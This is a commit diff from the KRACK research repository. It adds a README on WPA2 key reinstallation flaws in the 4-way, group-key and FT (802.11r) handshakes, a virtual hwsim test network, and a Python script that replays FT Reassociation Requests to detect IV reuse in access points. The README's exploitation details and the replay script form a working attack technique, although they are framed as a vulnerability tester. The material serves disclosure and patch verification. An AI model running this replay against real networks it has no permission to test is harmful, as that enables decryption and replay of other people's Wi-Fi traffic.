krackattacks: merge in FT tests in one repository

README.md

@@ -0,0 +1,120 @@
+This project contains scripts to tests if clients or access points (APs) are affected by the KRACK attack against WPA2. For [details behind this attack see our website](https://www.krackattacks.com) and [the research paper](https://papers.mathyvanhoef.com/ccs2017.pdf).
+
+Remember that our scripts are not attack scripts! You require network credentials in order to test if an access point or client is affected by the attack.
+
+
+# Prerequisites
+
+Our scripts were tested on Kali Linux. To install the required dependencies on Kali, execute:
+
+	apt-get update
+	apt-get install libnl-3-dev libnl-genl-3-dev pkg-config libssl-dev net-tools git sysfsutils python-scapy python-pycryptodome
+
+Then **disable hardware encryption** using the script `./disable-hwcrypto.sh`. We tested our scripts on a Kali Linux distribution using a TP-Link WN722N v1.
+
+Remember to disable Wi-Fi in your network manager before using our scripts. After disabling Wi-Fi, execute `sudo rfkill unblock wifi` so our scripts can still use Wi-Fi.
+
+
+# Testing Clients: detecting a vulnerable 4-way and group key handshake
+
+To simulate an attack against a client follow the detailed instructions in `krackattack/krack-test-client.py`:
+
+	cd krackattack/
+	./krack-test-client.py --help
+
+**Now follow the detail instructions that the script outputs.**
+The script assumes the client will use DHCP to get an IP.
+Remember to also perform extra tests using the `--tptk` and `--tptk-rand` parameters.
+
+# Testing Access Points: Detecting a vulnerable FT Handshake (802.11r)
+
+The attached Linux script `krack-ft-test.py` can be used to determine if an AP is vulnerable to our attack. The script contains detailed documentation on how to use it:
+
+	./krack-ft-test.py --help
+
+**Now follow the detail instructions that the script outputs.**
+Essentially, it wraps a normal `wpa_supplicant` client, and will keep replaying the FT Reassociation Request (making the AP reinstall the PTK).
+
+
+# Extra: Ubuntu 16.04
+
+Our scripts are officially only supported on Kali Linux. Nevertheless, some users have been able to get it running on Ubuntu 16.04. These users remarked that the `python-pycryptodome` package is not present on Ubuntu, but can be installed as follows:
+
+1. Install python-pip package
+2. Execute `pip install pycryptodomex`
+
+They further recommended to install this python module under a virtual python environment using virtualenv.
+
+
+# Extra: Client Attacks Details
+
+## Vulnerability in the 4-way handshake
+
+WPA1/2 clients most likely have a vulnerable implementation of the 4-way handshake. The problem is that, when a client receives a retransmitted message 3 of the 4-way handshake, it will reinstall the already in-use pairwise key. Additionally, when WPA2 is used, the client will also reinstall the already in-use group key (and the IGTK if protected management frames are being used). In case the client does not reinstall any keys, it is not vulnerable to our attack. If it does reinstall one of these keys, the associated packet number (PN) is likely reset. Because of this, the client will subsequently reuse packet numbers when sending frames protect using TKIP, CCMP, or GCMP. This causes nonce reuse (sometimes also called Initialization Vector reuse). Since the packet number is also used as a replay counter for received frames, frames sent *towards* the client can also be replayed.
+
+Note that the AP retransmits message 3 of the 4-way handshake if it did not receive message 4. Hence an attacker can trigger retransmissions of message 3 by blocking the arrival of message 4 (see "how to exploit" section below for more details).
+
+Figure 3 [in the paper](https://papers.mathyvanhoef.com/ccs2017.pdf) illustrates the problem graphically. Here, when a client process the first message 3, it goes to the PTK-NEGOTIATING and PTK-DONE state. While doing so, it installs the pairwise key (PTK) and group key (GTK) using the MLME-SETKEYS.request primitive (optionally the IGTK is also installed). Unfortunately, when it receives a retransmitted message 3, it will re-enter the PTK-NEGOTIATING and PTK-DONE state. As a result, the client will reinstall the PTK and GTK.
+
+The suggested patch is to not reinstall any keys when receiving a retransmitting message 3 (but still reply using a new message 4). This can be accomplished by adding a boolean variable to the state machine. It is initialized to false, and set to true when generating a fresh SNonce and PTK in PTK-START. If the boolean is true when entering PTK-DONE, keys are installed and the boolean is set to false. If the boolean is false when entering PTK-DONE, installation of keys is skipped, but a new message 4 reply is still transmitted.
+
+### Attack and impact details
+
+The basic idea behind the attack is shown in Figure 4 of the paper, and relies on our channel-based MitM attack. Summarized, the 4-way handshake starts normally, but the adversary does not forward message 4 of the 4-way handshake to the AP (stage 1). After some duration the AP will retransmit message 3, and the adversary forwards it to the client (stage 3). When the client process the retransmitted message 3, it will reinstall the PTK. As a result, the client (victim) will reuse packet numbers (nonces) when sending new data packets (stage 5). For more details see section 3.3 in the paper.
+
+The above attack assumes that the client still accepts plaintext EAPOL frames once the pairwise key (PTK) has been installed. For several implementations, this is not the case. Our paper contains two techniques to bypass this limitation (section 3.4 - figure 5 and 6). After writing the paper, we also found a technique to make Linux's hostapd send an encrypted retransmitted message 3. Therefore, even if an implementation only accepts encrypted retransmitted messages 3's, it is still exploitable in practice. Our technique to make Linux's hostapd send an encrypted version of message 3 will not be included in the current research paper (but it will be included in follow-up wor
+
+### TPTK Construction
+
+Supplicants that use a TPTK construction generate a Temporal PTK (PTK) on the reception of message 1's, and try to verify the Message Integrity Code (MIC) of message 3 using *both* the TPTK and, if available, the currently installed PTK. If one of these two keys correctly verifies the MIC, the incoming message 3 is accepted. A supplicant using the TPTK construction may be vulnerable to the following attack, even when an attempt was made to patch it:
+
+1. The supplicant receives message 3/4
+2. The supplicant receives a forged message 1/4 (using either a random ANonce or the same ANonce from the previous/current handshake).
+3. The supplicant receives a (possibly encrypted) retransmitted message 3/4
+
+Although we believe few supplicants use the TPTK construction, we strongly recommend everyone to double-check their patches with this attack in mind. Our `./krack-test-client.py` script in can be used to test for this attack variant by executing it using the `--tptk` argument:
+
+	./krack-test-client.py --help   # see step 1 and 5 in particular
+	./krack-test-client.py --tptk
+
+Note that `wpa_supplicant` 2.6 uses the TPTK construction, and that it can be tricked into installing an all-zero encryption key. As a result, a man-in-the-middle position can be obtained where traffic can be trivially replayed, decrypted, and forged. Therefore, it is essential you update `wpa_supplicant` even when using version 2.6. The capture `example-tptk-attack.pcapng` contains an example of such an attack. Packet 99 is the forged message 1/4, and packet 101 is the retransmitted message 3/4 causing a key reinstallation. The client is 02:00:00:00:01:00.
+
+## Vulnerability in the group-key handshake
+
+WPA1/2 clients most likely also have a vulnerable implementation of the group key handshake. Here, a retransmitted group message 1 will reinstall the already in-use group key. Hence the associated packet number is lowered (or reset). This allows an attacker to replay group-addressed frames (i.e. broadcast and multicast frames) to the client. However, it does not allow the attacker to decrypt or inject broadcast packets.
+
+Note that only the AP sends real group-addressed frames. Client send them as unicast frames to the AP, after which the AP broadcasts them to all connected Clients. Additionally, we remark that group message 1 contains the last used packet number by the AP (the Key RSC field in the EAPOL-Key frame). The client normally installs the group key along with the given packet number. However, a client should never *lower* the last used packet number. This may happen with our attack technique though: the packet number in group message 1 will be *lower* than the last group-addressed frame that the client received. In this case the client should not be lowering the packet number.
+
+The suggested patch is to track the currently installed group key, and to not reinstall an already in-use key, while still replying with a new group message 2.
+
+An attacker can trigger transmissions of group message 1 by blocking the arrival of group message 2 using a channel-based MitM position (see below for details).
+
+### Attack and impact details
+
+The precise instantiation of our attack depends on the behavior of the AP. For simplicity, we assume the client (victim) is connected to an AP that uses Linux's widely used hostapd. Our attack in this case is illustrated in figure 8 of the paper. Notice that we again use a channel-based MitM attack. Summarized, the adversary blocks group message 2 from arriving at the AP (end of stage 1). The AP will then transmit a new group message 1 (stage 2). The adversary then forwards the previously blocked group message 2 to the AP (stage 3). This completes the group key handshake, making hostapd install the new group key (GTK) in stage 3. Now, the adversary can forward the retransmitted group message 1 to the client, making it reinstall the group key (stage 5). As a result, previously transmitted broadcast or multicast data (i.e. those transmitted in stage stage 4) can now be replayed towards the client (see stage 6).
+
+Note that the group key handshake messages are unicast data frames and are encrypted using the pairwise key (e.g. using TKIP or CCMP). Even though they are encrypted, an attacker can identify these messages based on their length. Additionally, several APs send EAPOL-Key frames (i.e. handshake messages) using a non-zero Quality of Service (QoS) Traffic Identifier (TID). This is important because all clients must maintain a separate replay counter for each QoS TID (see for example 12.5.3.4.4b in the 802.11-2016 standard). Combined, this means that when we capture an encrypted group message 1 which uses a packet number of x, we can forward other encrypted data frames to the client, without affecting the attack. This is because other data frames generally use a different QoS TID. Therefore, the packet number (= replay counter) of the captured group message 2 will still accepted. Put differently, normal data frames use a QoS TID of zero, meaning they do not affect the replay counter associated to the QoS TID of EAPOL-Key frames. As a result, we can forward the group message 1 whenever we want, even after forwarding normal data frames to the client. This gives a high amount of flexibility to the attack, making it easy to execute the attack in practice.
+
+The main limitation of this attack is that an adversary can only abuse it to replay broadcast or multicast traffic (whereas the other attacks also allow decryption and/or injection of frames).
+
+
+# Extra: Access Point Attack Details
+
+## CVE-2017-13082: Key Reinstall in FT Handshake (802.11r)
+
+Access Points (APs) might contain a vulnerable implementation of the Fast BSS Transition (FT) handshake. More precisely, a retransmitted or replayed FT Reassociation Request may trick the AP into reinstalling the pairwise key. If the AP does not process retransmitted FT reassociation requests, or if it does not reinstall the pairwise key, it is not vulnerable. If it does reinstall the pairwise key, the effect is similar to the attack against the 4-way handshake, except that the AP instead of the client is now reinstalling a key. More precisely, the AP will subsequently reuse packet numbers when sending frames protected using TKIP, CCMP, or GCMP. This causes nonce reuse, voiding any security these encryption schemes are supposed to provide. Since the packet number is also used as a replay counter for received frames, frames sent *towards* the AP can also be replayed.
+
+In contrast to the 4-way handshake and group key handshake, this is not an attack against the specification. That is, if the state machine as shown in Figure 13-15 of the 802.11-2016 standard is faithfully implemented, the AP will not reinstall the pairwise keys when receiving a retransmitted FT Reassociation Request. However, we found that many APs do process this frame and reinstall the pairwise key.
+
+## Suggested Solution
+
+If the implementation is vulnerable, the suggested fix is similar to the one of the 4-way handshake. That is, a boolean can be added such that the first FT Reassociation Requests installs the pairwise keys, but any retransmissions will skip key installation. Note that ideally the AP should still send a new FT Reassociation Response, even though it did not reinstall any keys.
+
+## Impact and Exploitation Details
+
+Exploiting this vulnerability does not require a man-in-the-middle position! Instead, an adversary merely needs to capture a Fast BSS Transition handshake and save the FT Reassociation Request. Because this frame does not contain a replay counter, the adversary can replay it at any time (and arbitrarily many times). Each time the vulnerable AP receives the replayed frame, the pairwise key will be reinstalled. This attack is illustrated in Figure 9 of the paper.
+
+An adversary can trigger FT handshakes at will as follows. First, if no other AP of the network is within range of the client, the adversary clones a real AP of this network next to the client using a wormhole attack (i.e. we forward all frames over the internet). The adversary then sends a BSS Transition Management Request to the client. This request commands to the client to roam to another AP. As a result, the client will perform an FT handshake to roam to the other AP.
+
+The included network trace [example-ft.pcapng](example-ft.pcapng) is an example of the attack executed against Linux's hostapd. When using the wireshark filter `wlan.sa == 7e:62:5c:7a:cd:47`, notice that packets 779 to 1127 all use the CCMP IV value 1. This was caused by malicious retransmissions of the FT reassociation request.
+

krackattack/debug-ft-hwsim/README.md

@@ -0,0 +1,13 @@
+To verify the script is working correctly, try it out against a virtualized Wi-Fi network as follows:
+
+	apt-get install vtun bridge-utils hostapd
+	cd hwsim-test-network
+	./initradios.sh
+	./hostap0.sh # Start fist access point in window 1
+	./hostap1.sh # Start second access point in window 2
+
+Now read the documentation in `krack-ft-test.py`. Go to step 3 and start the tool using:
+
+	../krack-ft-test.py wpa_supplicant -D nl80211 -i wlan2 -c supplicant.conf
+
+Follow the next steps. To generate traffic in step 5 use `./gen-traffic.py`.

krackattack/debug-ft-hwsim/gen-traffic.py

@@ -0,0 +1,11 @@
+#!/usr/bin/env python2
+import logging, time
+logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
+from scapy.all import *
+
+p = Ether(dst="02:00:00:00:02:00")/ARP(op=2, pdst="192.168.100.12", hwdst="02:00:00:00:02:00")
+
+while True:
+	sendp(p, iface="wlan0")
+	sendp(p, iface="wlan1")
+	time.sleep(1)

krackattack/debug-ft-hwsim/hostap0.conf

@@ -0,0 +1,36 @@
+interface=wlan0
+ctrl_interface=/var/run/hostapd
+
+bridge=br0
+driver=nl80211
+
+ssid=simulnet
+hw_mode=g
+channel=1
+
+wpa=3
+wpa_key_mgmt=WPA-PSK FT-PSK
+wpa_pairwise=CCMP
+wpa_passphrase=password
+wpa_group_rekey=3600
+
+nas_identifier=nas0.example.com
+mobility_domain=a1b2
+r0_key_lifetime=10000
+reassociation_deadline=1000
+pmk_r1_push=1
+
+# Normally this is set to the own MAC address of the interface
+r1_key_holder=000102030405
+# Here we give information when receiving a network request from another hostapd instance.
+# - r0kh: we are r1kh and other hostapd is acting as r0kh (we are pulling key)
+# - r1kh: we are r0kh and communicate with a r1kh (we are pushing key or sending reply to pull)
+r0kh=02:00:00:00:01:00 nas1.example.com 0f0e0d0c0b0a09080706050403020100
+r1kh=02:00:00:00:01:00 00:01:02:03:04:06 000102030405060708090a0b0c0d0e0f
+
+
+# BSS Transition Management - used to force an FT roam
+bss_transition=1
+
+# So we only have to target authentication frames
+ft_over_ds=0

krackattack/debug-ft-hwsim/hostap0.sh

@@ -0,0 +1,2 @@
+#!/bin/bash
+hostapd hostap0.conf $@

krackattack/debug-ft-hwsim/hostap1.conf

@@ -0,0 +1,35 @@
+interface=wlan1
+ctrl_interface=/var/run/hostapd
+
+bridge=br1
+driver=nl80211
+
+ssid=simulnet
+hw_mode=g
+channel=1
+
+wpa=3
+wpa_key_mgmt=WPA-PSK FT-PSK
+wpa_pairwise=CCMP
+wpa_passphrase=password
+wpa_group_rekey=3600
+
+nas_identifier=nas1.example.com
+mobility_domain=a1b2
+r0_key_lifetime=10000
+reassociation_deadline=1000
+pmk_r1_push=1
+
+# Normally this is set to the own MAC address of the interface
+r1_key_holder=000102030406
+# Here we give information when receiving a network request from another hostapd instance.
+# - r0kh: we are r1kh and other hostapd is acting as r0kh (we are pulling key)
+# - r1kh: we are r0kh and communicate with a r1kh (we are pushing key or sending reply to pull)
+r0kh=02:00:00:00:00:00 nas0.example.com 000102030405060708090a0b0c0d0e0f
+r1kh=02:00:00:00:00:00 00:01:02:03:04:05 0f0e0d0c0b0a09080706050403020100
+
+# BSS Transition Management - used to force an FT roam
+bss_transition=1
+
+# So we only have to target authentication frames
+ft_over_ds=0

krackattack/debug-ft-hwsim/hostap1.sh

@@ -0,0 +1,2 @@
+#!/bin/bash
+hostapd hostap1.conf $@

krackattack/debug-ft-hwsim/initradios.sh

@@ -0,0 +1,37 @@
+#!/bin/bash
+set -e
+
+function bridgeup {
+	ifconfig $1 down 2> /dev/null || true
+	brctl delbr $1 2> /dev/null || true
+	brctl addbr $1
+	brctl setfd $1 0
+	brctl addif $1 $2
+	ifconfig $1 $3
+	ifconfig $1 up
+}
+
+# Configure the virtual or real interfaces
+rfkill unblock wifi 2> /dev/null || true
+rmmod mac80211_hwsim 2> /dev/null || true
+modprobe mac80211_hwsim radios=3
+
+macchanger -m 02:00:00:00:00:00 wlan0 > /dev/null || true
+macchanger -m 02:00:00:00:01:00 wlan1 > /dev/null || true
+macchanger -m 02:00:00:00:02:00 wlan2 > /dev/null || true
+
+vtund -s -f vtund.server.conf
+vtund -f vtund.client.conf conn1 127.0.0.1
+sleep 0.4
+ifconfig tap0 up
+ifconfig tap1 up
+
+bridgeup br0 tap0 192.168.168.101
+bridgeup br1 tap1 192.168.168.102
+
+ifconfig wlan0 192.168.100.10
+ifconfig wlan1 192.168.100.11
+ifconfig wlan2 192.168.100.12
+
+echo "Done. It's recommended to execute this script twice. Remember to disable Wi-Fi in the OS."
+

krackattack/debug-ft-hwsim/supplicant.conf

@@ -0,0 +1,12 @@
+ctrl_interface=/var/run/wpa_supplicant
+
+network={
+	# Network config
+	ssid="simulnet"
+	scan_ssid=1
+	key_mgmt=FT-PSK
+
+	psk="password"
+	#psk="WRONG PASSWORD"
+}
+

krackattack/debug-ft-hwsim/supplicant.sh

@@ -0,0 +1,2 @@
+#!/bin/bash
+wpa_supplicant -D nl80211 -i wlan2 -c supplicant.conf $@

krackattack/debug-ft-hwsim/vtund.client.conf

@@ -0,0 +1,4 @@
+conn1 {
+  passwd XXXX;
+  device tap1;
+}

krackattack/debug-ft-hwsim/vtund.server.conf

@@ -0,0 +1,11 @@
+default {
+  type ether;
+  proto udp;
+  keepalive yes;
+  encrypt no;
+}
+
+conn1 {
+  passwd XXXX;
+  device tap0;
+}

krackattack/krack-ft-test.py

@@ -0,0 +1,284 @@
+#!/usr/bin/env python2
+
+# Copyright (c) 2017, Mathy Vanhoef <Mathy.Vanhoef@cs.kuleuven.be>
+#
+# This code may be distributed under the terms of the BSD license.
+# See README for more details.
+
+import logging
+logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
+from scapy.all import *
+from libwifi import *
+import sys, socket, struct, time, subprocess, atexit, select
+from datetime import datetime
+
+IEEE_TLV_TYPE_RSN = 48
+IEEE_TLV_TYPE_FT  = 55
+
+IEEE80211_RADIOTAP_RATE = (1 << 2)
+IEEE80211_RADIOTAP_CHANNEL = (1 << 3)
+IEEE80211_RADIOTAP_TX_FLAGS = (1 << 15)
+IEEE80211_RADIOTAP_DATA_RETRIES = (1 << 17)
+
+#TODO: - !! Assured synchronization between hostapd actions (sending broadcast AP) and hostapd resetting IVs !!
+#TODO: - Merge code with client tests to avoid code duplication (including some error handling)
+#TODO: - Option to use a secondary interface for injection + WARNING if a virtual interface is used + repeat advice to disable hardware encryption
+#TODO: - Test whether injection works on the virtual interface (send probe requests to nearby AP and wait for replies)
+
+# FIXME: We are repeating the "disable hw encryption" script to client tests
+USAGE = """{name} - Tool to test Key Reinstallation Attacks against an AP
+
+To test wheter an AP is vulnerable to a Key Reinstallation Attack against
+the Fast BSS Transition (FT) handshake, take the following steps:
+
+1. The hardware encryption engine of some Wi-Fi NICs have bugs that interfere
+   with our script. So disable hardware encryption by executing:
+
+      ./disable-hwcrypto.sh
+
+   This only needs to be done once. It's recommended to reboot after executing
+   this script. After plugging in your Wi-Fi NIC, use `systool -vm ath9k_htc`
+   or similar to confirm the nohwcript/.. param has been set. We tested this
+   with an a TP-Link TL-WN722N and an Alfa AWUS051NH v2.
+
+2. Create a wpa_supplicant configuration file that can be used to connect
+   to the network. A basic example is:
+
+      ctrl_interface=/var/run/wpa_supplicant
+      network={{
+          ssid="testnet"
+          key_mgmt=FT-PSK
+          psk="password"
+      }}
+
+   Note the use of "FT-PSK". Save it as network.conf or similar. For more
+   info see https://w1.fi/cgit/hostap/plain/wpa_supplicant/wpa_supplicant.conf
+
+3. Try to connect to the network using your platform's wpa_supplicant.
+   This will likely require a command such as:
+
+      sudo wpa_supplicant -D nl80211 -i wlan0 -c network.conf
+
+   If this fails, either the AP does not support FT, or you provided the wrong
+   network configuration options in step 1.
+
+4. Use this script as a wrapper over the previous wpa_supplicant command:
+
+      sudo {name} wpa_supplicant -D nl80211 -i wlan0 -c network.conf
+
+   This will execute the wpa_supplicant command using the provided parameters,
+   and will add a virtual monitor interface that will perform attack tests.
+
+5. Use wpa_cli to roam to a different AP of the same network. For example:
+
+      sudo wpa_cli -i wlan0
+      > status
+      bssid=c4:e9:84:db:fb:7b
+      ssid=testnet
+      ...
+      > scan_results 
+      bssid / frequency / signal level / flags / ssid
+      c4:e9:84:db:fb:7b	2412  -21  [WPA2-PSK+FT/PSK-CCMP][ESS] testnet
+      c4:e9:84:1d:a5:bc	2412  -31  [WPA2-PSK+FT/PSK-CCMP][ESS] testnet
+      ...
+      > roam c4:e9:84:1d:a5:bc
+      ...
+   
+   In this example we were connected to AP c4:e9:84:db:fb:7b of testnet (see
+   status command). The scan_results command shows this network also has a
+   second AP with MAC c4:e9:84:1d:a5:bc. We then roam to this second AP.
+
+6. Generate traffic between the AP and client. For example:
+
+      sudo arping -I wlan0 192.168.1.10
+
+7. Now look at the output of {name} to see if the AP is vulnerable.
+
+   6a. First it should say "Detected FT reassociation frame". Then it will
+       start replaying this frame to try the attack.
+   6b. The script shows which IVs (= packet numbers) the AP is using when
+       sending data frames.
+   6c. Message "IV reuse detected (IV=X, seq=Y). AP is vulnerable!" means
+       we confirmed it's vulnerable.
+
+  !! Be sure to manually check network traces as well, to confirm this script
+  !! is replaying the reassociation request properly, and to manually confirm
+  !! whether there is IV (= packet number) reuse or not.
+
+   Example output of vulnerable AP:
+      [15:59:24] Replaying Reassociation Request
+      [15:59:25] AP transmitted data using IV=1 (seq=0)
+      [15:59:25] Replaying Reassociation Request
+      [15:59:26] AP transmitted data using IV=1 (seq=0)
+      [15:59:26] IV reuse detected (IV=1, seq=0). AP is vulnerable!
+
+   Example output of patched AP (note that IVs are never reused):
+      [16:00:49] Replaying Reassociation Request
+      [16:00:49] AP transmitted data using IV=1 (seq=0)
+      [16:00:50] AP transmitted data using IV=2 (seq=1)
+      [16:00:50] Replaying Reassociation Request
+      [16:00:51] AP transmitted data using IV=3 (seq=2)
+      [16:00:51] Replaying Reassociation Request
+      [16:00:52] AP transmitted data using IV=4 (seq=3)
+"""
+
+#### Basic output and logging functionality ####
+
+ALL, DEBUG, INFO, STATUS, WARNING, ERROR = range(6)
+COLORCODES = { "gray"  : "\033[0;37m",
+               "green" : "\033[0;32m",
+               "orange": "\033[0;33m",
+               "red"   : "\033[0;31m" }
+
+global_log_level = INFO
+def log(level, msg, color=None, showtime=True):
+	if level < global_log_level: return
+	if level == DEBUG   and color is None: color="gray"
+	if level == WARNING and color is None: color="orange"
+	if level == ERROR   and color is None: color="red"
+	print (datetime.now().strftime('[%H:%M:%S] ') if showtime else " "*11) + COLORCODES.get(color, "") + msg + "\033[1;0m"
+
+
+#### Man-in-the-middle Code ####
+
+class KRAckAttackFt():
+	def __init__(self, interface):
+		self.nic_iface = interface
+		self.nic_mon = interface + "mon"
+		self.clientmac = scapy.arch.get_if_hwaddr(interface)
+
+		self.sock  = None
+		self.wpasupp = None
+
+		self.reset_client()
+
+	def reset_client(self):
+		self.reassoc = None
+		self.ivs = IvCollection()
+		self.next_replay = None
+
+	def start_replay(self, p):
+		assert Dot11ReassoReq in p
+		self.reassoc = p
+		self.next_replay = time.time() + 1
+
+	def process_frame(self, p):
+		# Detect whether hardware encryption is decrypting the frame, *and* removing the TKIP/CCMP
+		# header of the (now decrypted) frame.
+		# FIXME: Put this check in MitmSocket? We want to check this in client tests as well!
+		if self.clientmac in [p.addr1, p.addr2] and Dot11WEP in p:
+			# If the hardware adds/removes the TKIP/CCMP header, this is where the plaintext starts
+			payload = str(p[Dot11WEP])
+
+			# Check if it's indeed a common LCC/SNAP plaintext header of encrypted frames, and
+			# *not* the header of a plaintext EAPOL handshake frame
+			if payload.startswith("\xAA\xAA\x03\x00\x00\x00") and not payload.startswith("\xAA\xAA\x03\x00\x00\x00\x88\x8e"):
+				log(ERROR, "ERROR: Virtual monitor interface doesn't seem to pass 802.11 encryption header to userland.")
+				log(ERROR, "   Try to disable hardware encryption, or use a 2nd interface for injection.", showtime=False)
+				quit(1)
+
+		# Client performing a (possible new) handshake
+		if self.clientmac in [p.addr1, p.addr2] and Dot11Auth in p:
+			self.reset_client()
+			log(INFO, "Detected Authentication frame, clearing client state")
+		elif p.addr2 == self.clientmac and Dot11ReassoReq in p:
+			self.reset_client()
+			if get_tlv_value(p, IEEE_TLV_TYPE_RSN) and get_tlv_value(p, IEEE_TLV_TYPE_FT):
+				log(INFO, "Detected FT reassociation frame")
+				self.start_replay(p)
+			else:
+				log(INFO, "Reassociation frame does not appear to be an FT one")
+		elif p.addr2 == self.clientmac and Dot11AssoReq in p:
+			log(INFO, "Detected normal association frame")
+			self.reset_client()
+
+		# Encrypted data sent to the client
+		elif p.addr1 == self.clientmac and Dot11WEP in p:
+			iv = dot11_get_iv(p)
+			log(INFO, "AP transmitted data using IV=%d (seq=%d)" % (iv, dot11_get_seqnum(p)))
+			if self.ivs.is_iv_reused(p):
+				log(INFO, ("IV reuse detected (IV=%d, seq=%d). " +
+					"AP is vulnerable!") % (iv, dot11_get_seqnum(p)), color="green")
+
+			self.ivs.track_used_iv(p)
+
+	def handle_rx(self):
+		p = self.sock.recv()
+		if p == None: return
+
+		self.process_frame(p)
+
+	def configure_interfaces(self):
+		log(STATUS, "Note: disable Wi-Fi in your network manager so it doesn't interfere with this script")
+
+		# 0. Some users may forget this otherwise
+		subprocess.check_output(["rfkill", "unblock", "wifi"])
+
+		# 1. Remove unused virtual interfaces to start from a clean state
+		subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
+
+		# 2. Configure monitor mode on interfaces
+		subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"])
+		# Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
+		# sequence of commands assures the virtual interface is properly registered as a 802.11 monitor interface.
+		subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
+		time.sleep(0.5)
+		subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
+		subprocess.check_output(["ifconfig", self.nic_mon, "up"])
+
+	def run(self):
+		self.configure_interfaces()
+
+		self.sock = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon)
+
+		# Open the wpa_supplicant client that will connect to the network that will be tested
+		self.wpasupp = subprocess.Popen(sys.argv[1:])
+
+		# Monitor the virtual monitor interface of the client and perform the needed actions
+		while True:
+			sel = select.select([self.sock], [], [], 1)
+			if self.sock in sel[0]: self.handle_rx()
+
+			if self.reassoc and time.time() > self.next_replay:
+				log(INFO, "Replaying Reassociation Request")
+				self.sock.send(self.reassoc)
+				self.next_replay = time.time() + 1
+
+	def stop(self):
+		log(STATUS, "Closing wpa_supplicant and cleaning up ...")
+		if self.wpasupp:
+			self.wpasupp.terminate()
+			self.wpasupp.wait()
+		if self.sock: self.sock.close()
+
+
+def cleanup():
+	attack.stop()
+
+def argv_get_interface():
+	for i in range(len(sys.argv)):
+		if not sys.argv[i].startswith("-i"):
+			continue
+		if len(sys.argv[i]) > 2:
+			return sys.argv[i][2:]
+		else:
+			return sys.argv[i + 1]
+
+	return None
+
+if __name__ == "__main__":
+	if len(sys.argv) <= 1 or "--help" in sys.argv or "-h" in sys.argv:
+		print USAGE.format(name=sys.argv[0])
+		quit(1)
+
+	# TODO: Verify that we only accept CCMP?
+	interface = argv_get_interface()
+	if not interface:
+		log(ERROR, "Failed to determine wireless interface. Specify one using the -i parameter.")
+		quit(1)
+
+	attack = KRAckAttackFt(interface)
+	atexit.register(cleanup)
+	attack.run()
+
+